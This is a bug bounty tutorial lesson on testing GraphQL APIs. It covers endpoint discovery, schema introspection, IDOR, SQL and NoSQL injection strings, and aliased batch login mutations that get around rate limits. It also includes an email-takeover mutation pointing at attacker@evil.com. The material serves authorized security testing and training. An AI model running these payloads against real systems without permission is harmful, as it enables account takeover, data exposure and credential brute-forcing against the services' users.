Bug Bounty Course -- Day 22 of 60
37%

GraphQL Bug Bounty 2026 — Introspection Abuse, Injection & Broken Authorization | BB Day 22

GraphQL Bug Bounty 2026 — Introspection Abuse, Injection & Broken Authorization | BB Day 22
🎯 BUG BOUNTY MASTERY
FREE

Part of the 60-Day Bug Bounty Mastery Course

Day 22 of 60 · 36.7% complete

While most bug bounty hunters are still queueing up the same XSS and IDOR checks on every target, the hunters consistently landing Critical payouts in 2026 are reading GraphQL schemas. Not because GraphQL is inherently more vulnerable — because it’s under-tested. Most programmes have had their REST endpoints hammered for years. The GraphQL endpoint, if the team added it six months ago, may have had zero external security review.

I’ve found critical IDOR vulnerabilities on GraphQL endpoints where introspection was disabled. I’ve found injection points that the WAF wasn’t configured to filter because it was still pattern-matching REST requests. I’ve found objects exposed through GraphQL that weren’t accessible through any REST equivalent. The methodology is different enough from REST testing that it requires its own framework — and that’s what this article builds.

By the end you’ll have the complete GraphQL attack sequence: endpoint discovery, introspection abuse, injection, broken object-level authorisation, and batching attacks.

🎯 What You’ll Master in Day 22

Discover GraphQL endpoints in web applications and extract full schemas via introspection
Map mutations and queries from the schema for IDOR and authorization testing
Test and report GraphQL IDOR via direct object ID manipulation
Test for injection vulnerabilities in GraphQL query arguments
Use batch query abuse to bypass rate limiting on sensitive operations

⏱️ 45 min · 3 exercises · Burp Suite recommended

📋 Prerequisites — Day 22

  • Day 21: HTTP Request Smuggling — Request manipulation fundamentals
  • Burp Suite Community (free) installed — used for intercepting and replaying GraphQL requests
  • Altair GraphQL Client browser extension (optional but recommended for schema exploration)

Finding GraphQL Endpoints

The first thing you learn about GraphQL hunting is that finding the endpoint is itself part of the work. There’s no Swagger UI at a predictable URL. Finding the endpoint is the first step. The most reliable method is monitoring your browser’s Network tab during normal application use: GraphQL requests appear as POST requests with a JSON body containing a query field. Burp Suite’s HTTP history captures these automatically when you proxy the application.

For applications where you haven’t spotted active GraphQL traffic, probe common endpoint paths. Send a POST request with body {"query": "{ __typename }"} to each path. A GraphQL endpoint returns {"data": {"__typename": "Query"}} on success, or a structured JSON error referencing GraphQL on any valid endpoint that rejected your query. Both responses confirm the endpoint exists. Non-GraphQL paths return HTML error pages or irrelevant JSON that doesn’t match this pattern.

GRAPHQL ENDPOINT DISCOVERY
# Common GraphQL endpoint paths to probe
/graphql
/api/graphql
/v1/graphql
/graphql/v1
/query
/gql
# Quick probe with curl — typename query
curl -s -X POST https://target.com/graphql \
-H “Content-Type: application/json” \
-d ‘{“query”:”{ __typename }”}’ | python3 -m json.tool
# Positive response (endpoint exists)
{“data”: {“__typename”: “Query”}}
# Also check JS bundles for hardcoded endpoints
curl -s https://target.com/static/main.js | grep -oE ‘”(/[a-z0-9/]+graphql[^”]*)”‘

🛠️ EXERCISE 1 — BROWSER (15 MIN · NO INSTALL)
Find GraphQL Endpoints and Trigger Introspection on HackerOne Programs

⏱️ 15 minutes · Browser + DevTools only

Step 1: Pick a public GraphQL API for practice
Go to: apis.guru/graphql-apis/ — a directory of public GraphQL APIs
Choose one (GitHub, SpaceX, Countries, Star Wars)

Step 2: Open browser DevTools Network tab
Navigate to the API’s documentation or playground
Filter by “graphql” in the network requests

Step 3: Send the introspection query
Using the API’s GraphQL playground or a direct fetch:
fetch(‘[endpoint]’, {
method: ‘POST’,
headers: {‘Content-Type’: ‘application/json’},
body: JSON.stringify({query: ‘{__schema{types{name}}}’})
}).then(r=>r.json()).then(console.log)

Step 4: Examine the type list
How many types does the schema contain?
Do any type names suggest sensitive operations?
(look for: Admin, Internal, Private, Token, Secret)

Step 5: Get full field details for an interesting type
{__type(name:”User”){fields{name type{name ofType{name}}}}}
What fields does the User type expose?
Are any field names sensitive (password, token, adminRole)?

Step 6: On a bug bounty program (with scope permission):
Use DevTools on a real target application
Monitor network requests during login, profile update, etc.
Identify any GraphQL requests and note the endpoint path

✅ What you just learned: Introspection on a real API immediately shows you the complete attack surface without any fuzzing or guessing. The type names and field names in a well-designed schema are often self-documenting — seeing a MutationType with fields like resetPasswordAdmin, createInternalUser, or bypassRateLimit tells you exactly what to test next. This reconnaissance phase is what separates GraphQL hunters who find Critical findings from those who send the same generic XSS tests to every endpoint.

📸 Screenshot an introspection schema response. Share in #bug-bounty on Discord.


GraphQL Introspection — The Free Schema Dump

Introspection is a GraphQL feature that allows clients to query the schema itself — asking “what queries and mutations are available, what arguments do they take, what types do they return?” When enabled in production (which it should not be), introspection hands the attacker a complete blueprint of the backend API including operations that are never used by the frontend application.

The full introspection query is verbose, but the critical sections are the type list (all object types and their fields) and the mutation type (all write operations). Fields named adminToken, internalUserId, bypassAuth, or mutations named createAdminUser flag themselves as high-priority targets. Even “safe” schemas reveal ID fields on user and resource objects — the starting point for IDOR testing.

GRAPHQL INTROSPECTION QUERIES
# Full schema dump (paste into Burp Repeater or Altair)
{
__schema {
types {
name
fields { name type { name ofType { name } } }
}
mutationType { name fields { name args { name type { name } } } }
queryType { name fields { name args { name type { name } } } }
}
}
# Quick type list only
{ __schema { types { name } } }
# Inspect a specific type
{ __type(name: “User”) { fields { name type { name } } } }
# Introspection disabled? Try field suggestion bypass
# Many APIs disable __schema but leave __type accessible
{ __type(name: “Query”) { fields { name } } }

securityelites.com
GraphQL Introspection Response — Sensitive Fields Identified
“types”: [
{“name”: “User”, “fields”: [
{“name”: “id”, “type”: {“name”: “ID”}},
{“name”: “email”, “type”: {“name”: “String”}},
{“name”: “username”, “type”: {“name”: “String”}},
{“name”: “adminToken”, “type”: {“name”: “String”}}, ← HIGH VALUE TARGET
{“name”: “internalId”, “type”: {“name”: “Int”}}, ← IDOR VECTOR
{“name”: “role”, “type”: {“name”: “String”}} ← CHECK AUTHZ

]}

📸 GraphQL introspection response with high-value fields annotated. The adminToken field on the User type is the most significant finding — if any query returns this field for arbitrary users, it is a Critical information disclosure. The internalId field is an IDOR vector — test whether it lets you access other users’ data. The role field warrants authorization testing: can a regular user access data visible only to admin roles? Introspection turns API reconnaissance from guessing into reading a blueprint.


IDOR via Direct Object IDs

GraphQL queries frequently accept direct object IDs as arguments. When authorization is implemented at the application layer rather than per-resolver, the API may return any object’s data for any valid ID regardless of which user is making the request. Testing GraphQL IDOR follows the same pattern as REST IDOR: create two test accounts, retrieve your own object’s ID, then use Account B to query Account A’s data using that ID.

GRAPHQL IDOR TESTING — TWO-ACCOUNT METHOD
# Step 1: With Account A — get your own user ID
query { me { id email } }
# Response: {“data”: {“me”: {“id”: “123”, “email”: “a@test.com”}}}
# Step 2: Switch to Account B session — query Account A’s data by ID
query { user(id: “123”) { id email phone address adminToken } }
# IDOR confirmed if Account B receives Account A’s data
# Response: {“data”: {“user”: {“email”: “a@test.com”, “phone”: “…”, …}}}
# Also test mutations — can Account B modify Account A’s data?
mutation { updateUser(id: “123”, email: “attacker@evil.com”) { success } }
# Check for sequential IDs — test adjacent values
query { user(id: “122”) { id email } } # one below your own
query { user(id: “124”) { id email } } # one above your own


Broken Authorization on Mutations

GraphQL mutations — the write operations — are where broken authorization causes the most damage. Developers sometimes implement read authorization carefully (checking whether a user can see data) but miss authorization on mutations (checking whether a user can change data). Mutations worth testing: password reset for another user’s account, privilege escalation (changing your own role field), accessing admin-only mutations visible in the schema but not in the UI, and deleting or modifying other users’ resources.

The schema from introspection reveals every mutation even if the frontend application never calls them. An assignAdminRole mutation that exists in the schema but is never called from the UI is almost certainly not properly access-controlled — developers often forget to add authorization checks to mutations that aren’t exposed to users. This is the highest-ROI attack surface from introspection: mutations that exist but are invisible.

🌐 EXERCISE 2 — PORTSWIGGER (25 MIN)
GraphQL IDOR and Authorization Labs on PortSwigger Web Academy

⏱️ 25 minutes · portswigger.net/web-security/graphql

Step 1: Go to PortSwigger Web Academy GraphQL section
URL: portswigger.net/web-security/graphql
Read the introductory material (15 minutes)
Focus on: introspection, IDOR, accessing private GraphQL posts

Step 2: Complete Lab — “Accessing private GraphQL posts”
This lab has a GraphQL API with an IDOR vulnerability.
Find the blog post query.
Use introspection to map the schema.
Access a hidden blog post that shouldn’t be visible to your user.

Step 3: Note the exact introspection query you used
What type contained the hidden field?
What argument did you use to access the private post?

Step 4: Complete Lab — “Finding a hidden GraphQL endpoint”
This lab hides the GraphQL endpoint.
Use the discovery techniques from this article.
Once found, run introspection and identify the vulnerability.

Step 5: Document your findings format
For each lab: write a one-paragraph bug bounty report summary:
– Endpoint and vulnerability type
– Steps to reproduce
– Impact (what data is accessible)
– Severity rating and justification

✅ What you just learned: PortSwigger’s GraphQL labs demonstrate the real-world pattern — the vulnerability is in the data returned for objects you shouldn’t access, not in finding a bug in the query syntax itself. The authorization check is missing at the resolver level, meaning the GraphQL API happily returns whatever data the query requests without checking whether the requesting user is allowed to see it. This pattern repeats across thousands of real bug bounty targets because GraphQL’s flexibility makes per-field authorization easy to miss.

📸 Screenshot your completed lab badge. Share in #bug-bounty on Discord.


GraphQL Injection

GraphQL arguments that are passed to backend database queries or system operations are injection vectors. The GraphQL layer itself is not injectable (it parses structured query syntax), but the arguments within queries are passed to resolvers that often construct SQL, NoSQL, or other queries. SQL injection in GraphQL: test string arguments with ', ' OR '1'='1, and ' OR SLEEP(5)--. NoSQL injection: test object arguments with {"$gt": ""} and {"$where": "1==1"}. SSRF: test URL arguments with your Burp Collaborator callback URL.

securityelites.com
GraphQL Injection Test — SQL in String Argument
Normal query:
{“query”: “{ user(username: \”admin\”) { id email } }”}
Injection test — time-based:
{“query”: “{ user(username: \”admin’ AND SLEEP(5)–\”) { id email } }”}
→ Response delayed 5 seconds → SQL injection confirmed
NoSQL injection test:
{“query”: “{ user(filter: {\”username\”: {\”$regex\”: \”.*\”}}) { id email } }”}
→ Returns all users → NoSQL injection confirmed

📸 GraphQL injection testing. The GraphQL query structure itself is not injectable — the parser handles the query syntax correctly. The vulnerability is in the resolver function that takes the argument value and constructs a backend query without proper parameterisation. Time-based SQL injection (SLEEP) is the most reliable blind detection method. NoSQL injection with $regex or $gt operators exploits MongoDB-style object arguments. Both are High to Critical severity when confirmed.


securityelites.com
GraphQL Batch Query Abuse — Rate Limit Bypass
Normal (rate limited): 1 attempt per request
POST /graphql {“query”: “mutation { login(u:admin p:pass1) { token } }”}
Batch bypass: 5 attempts = 1 HTTP request
POST /graphql {“query”: “mutation { a1:login(u:admin p:pass1){token} a2:login(u:admin p:pass2){token} a3:login(u:admin p:pass3){token} … }”}
Result: rate limit of 10 req/min = 50 credential attempts/min (5x multiplier per batch)
With 100-alias batch: 10 req/min = 1,000 attempts/min

📸 GraphQL batch query abuse for rate limit bypass. Standard rate limiting counts HTTP requests — one request with 100 aliased mutations is processed as 100 operations but counted as 1 request. The multiplication factor equals the batch size. This is particularly effective against OTP verification endpoints where a 6-digit OTP has only 1,000,000 possible values — a 100-alias batch at 10 requests/minute = 1,000,000 attempts in ~16 hours, bypassing any per-request rate limit.

Batch Query Abuse for Rate Limit Bypass

GraphQL supports aliased queries — sending multiple operations with different aliases in a single HTTP request. Rate limiting typically operates at the HTTP request level: X requests per minute per IP. Batch query abuse exploits this by sending 100 operations as aliases in one HTTP request. The server counts one request but processes 100 operations. This is particularly impactful against OTP verification endpoints, login mutation rate limiting, and any operation where the protection relies on HTTP request counting.

BATCH QUERY RATE LIMIT BYPASS
# Normal: 1 login attempt per request
mutation { login(username:”admin” password:”pass1″) { token } }
# Batch bypass: 5 attempts in 1 HTTP request using aliases
mutation {
a1: login(username:”admin” password:”pass1″) { token }
a2: login(username:”admin” password:”pass2″) { token }
a3: login(username:”admin” password:”pass3″) { token }
a4: login(username:”admin” password:”pass4″) { token }
a5: login(username:”admin” password:”pass5″) { token }
}
# In Burp Intruder: automate generating 100-alias batches
# Each batch = 1 HTTP request = 100 credential tests
# Rate limit of 10 req/min = 1000 credential tests/min

⚡ EXERCISE 3 — BURP SUITE (20 MIN)
Test GraphQL Introspection and Schema Analysis with Burp InQL

⏱️ 20 minutes · Burp Suite Community + InQL extension

Step 1: Install InQL extension in Burp Suite
Burp Suite → Extender → BApp Store → search “InQL” → Install

Step 2: Find a GraphQL practice target
Use one of:
– DVGA (Damn Vulnerable GraphQL Application):
docker run -p 5013:5013 dolevf/dvga
– dvga.example.com (public instance if available)
– Any target from PortSwigger GraphQL labs

Step 3: Proxy the GraphQL endpoint through Burp
Configure browser to use Burp proxy (127.0.0.1:8080)
Make any request to the target

Step 4: Use InQL Scanner tab
Go to Burp → InQL Scanner
Enter the target GraphQL URL
Click Analyze — InQL runs introspection and parses the schema

Step 5: Review generated query templates
InQL generates ready-to-test queries for every operation
Look for: mutations, admin operations, user object queries

Step 6: Send interesting queries to Repeater
Right-click any operation → Send to Repeater
Test with your own IDs vs other user IDs
Test mutation authorization
Document any findings with request/response evidence

✅ What you just learned: InQL transforms raw introspection data into actionable query templates — instead of manually constructing queries from the JSON schema, you get pre-built templates for every operation ready to test in Repeater. This workflow (discover endpoint → InQL schema analysis → Repeater authorization testing) covers the core of professional GraphQL security assessment and directly applies to bug bounty targets with GraphQL APIs.

📸 Screenshot the InQL schema analysis output. Share in #bug-bounty on Discord.

GraphQL Reporting Tip: When reporting introspection as a standalone finding, always demonstrate what the exposure enables — don’t just report “introspection is enabled.” Show the schema excerpt containing the most sensitive fields or mutations, and state the attack scenarios it facilitates. A well-documented introspection finding that says “schema reveals adminBypassToken field and createAdminUser mutation — tested and both are accessible without admin authorization” gets triaged as High/Critical. “Introspection is enabled” alone gets triaged as Informational.

🧠 QUICK CHECK — GraphQL Bug Bounty

You run introspection and discover a mutation named deleteUserAccount(userId: ID!) in the schema. The application’s UI only shows a “Delete My Account” button that deletes the authenticated user. How do you test this for a vulnerability?



📋 GraphQL Bug Bounty Reference — Day 22

Find endpointProbe /graphql, /api/graphql, /query + JS bundle search
Introspection query{__schema{types{name fields{name type{name}}}}}
IDOR testGet own ID with Account A → query with Account B using Account A’s ID
Batch rate limit bypassalias multiple mutations in one request: a1: login(…) a2: login(…)
SQL injection testPass ‘ AND SLEEP(5)– in string arguments
Best toolBurp Suite + InQL extension for schema analysis and query generation

🏆 Day 22 Complete — GraphQL Bug Bounty

Day 23 covers WebSocket security — cross-site WebSocket hijacking and message injection vulnerabilities.



GraphQL Real Finding — IDOR to Account Takeover Chain

Let me walk you through exactly how a real GraphQL critical finding looks, because the theory only makes sense when you see the attack path end to end.

The target had disabled GraphQL introspection — a common security measure teams implement when they think it stops enumeration. It doesn’t. I ran the __type query manually and got the schema back. The backend was validating the introspection query keyword but not the underlying type system queries. First finding.

Once I had the schema, I mapped the user-related queries. There was a getUser(id: Int) query that returned full user profile data — email, phone, address, linked payment methods. The ID was a sequential integer. No authorisation check on the resolver beyond “authenticated user.” I queried ID 1. Got the admin’s full profile. Critical IDOR, full account takeover chain, remediated same day.

GRAPHQL IDOR DETECTION — MANUAL SCHEMA ENUMERATION
# Step 1: Test for introspection even when disabled
{“query”: “{__type(name: “User”) {fields {name type {name}}}}”}
# Step 2: List all types via field suggestion
{“query”: “{__schema {types {name}}}”}
# Step 3: Map user-related queries for IDOR
{“query”: “{getUser(id: 1) {email phone address paymentMethods}}”}
# If this returns another user’s data — critical IDOR
# Step 4: Batch query to confirm scale
[
{“query”: “{getUser(id: 1) {email}}”},
{“query”: “{getUser(id: 2) {email}}”},
{“query”: “{getUser(id: 3) {email}}”}
]
# Confirm multi-user data exposure for full impact statement

The report on that finding was straightforward: here’s the query, here’s the response with another user’s payment methods, here’s the CVSS score (9.3), here’s the remediation — add authorisation check to the resolver comparing the requested user ID against the authenticated session’s user ID. Programme paid within 48 hours. That’s what GraphQL IDOR looks like on a real programme.

❓ Frequently Asked Questions — GraphQL Bug Bounty 2026

What is GraphQL and why is it a bug bounty target?
GraphQL is a flexible API query language where clients specify exactly what data they want. It is a prime bug bounty target because introspection exposes the full API blueprint, authorization is frequently missing at the resolver level creating IDOR, and batch queries can bypass rate limiting.
How do you find GraphQL endpoints in bug bounty?
Probe /graphql, /api/graphql, /v1/graphql, /query with a POST body containing {query: “{__typename}”}. Search JavaScript bundles for graphql URL strings. Monitor browser DevTools Network tab for POST requests with JSON query bodies during normal app usage.
What is GraphQL introspection and why is it a finding?
Introspection returns the complete API schema — all types, queries, mutations, and arguments. When enabled in production it exposes internal operations and admin functions not visible in the UI. Medium severity alone; escalates to High/Critical when the schema reveals exploitable admin operations or IDOR vectors.
How does GraphQL IDOR work?
Queries accepting direct object IDs (user(id: 123)) without per-resolver authorization checks return any object’s data for any valid ID. Test with two accounts: retrieve your ID with Account A, query it with Account B. If Account B receives Account A’s data, IDOR is confirmed.
What is batch query abuse in GraphQL?
Sending multiple aliased operations in a single HTTP request to bypass per-request rate limiting. One HTTP request can contain 100 aliased login mutations, multiplying credential testing throughput by 100× while counting as one request against rate limiters.
What is the best tool for GraphQL security testing?
Burp Suite with the InQL extension — InQL parses introspection responses and generates query templates for every operation. Altair GraphQL Client for manual exploration. GraphQL Voyager for visual schema mapping. All compatible with professional bug bounty workflows.
← Previous

Day 21: HTTP Request Smuggling

Next →

Day 23: WebSocket Security

📚 Further Reading

ME
Mr Elite
Owner, SecurityElites.com
My favourite GraphQL finding was a Critical IDOR on a fintech platform. Introspection was disabled — the dev team thought that protected them. I tested __type queries instead and found the User type had a field called accountBalance. Sent a query with sequential IDs and confirmed I could read any user’s account balance, transaction history, and linked card last four digits. No admin access needed. Just a loop and sequential integers. The entire attack took twelve minutes from finding the endpoint to having a Critical report ready. The fix was a one-line resolver check. The lesson: disabling introspection reduces reconnaissance, it doesn’t prevent IDOR.

Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free

Leave a Comment

Your email address will not be published. Required fields are marked *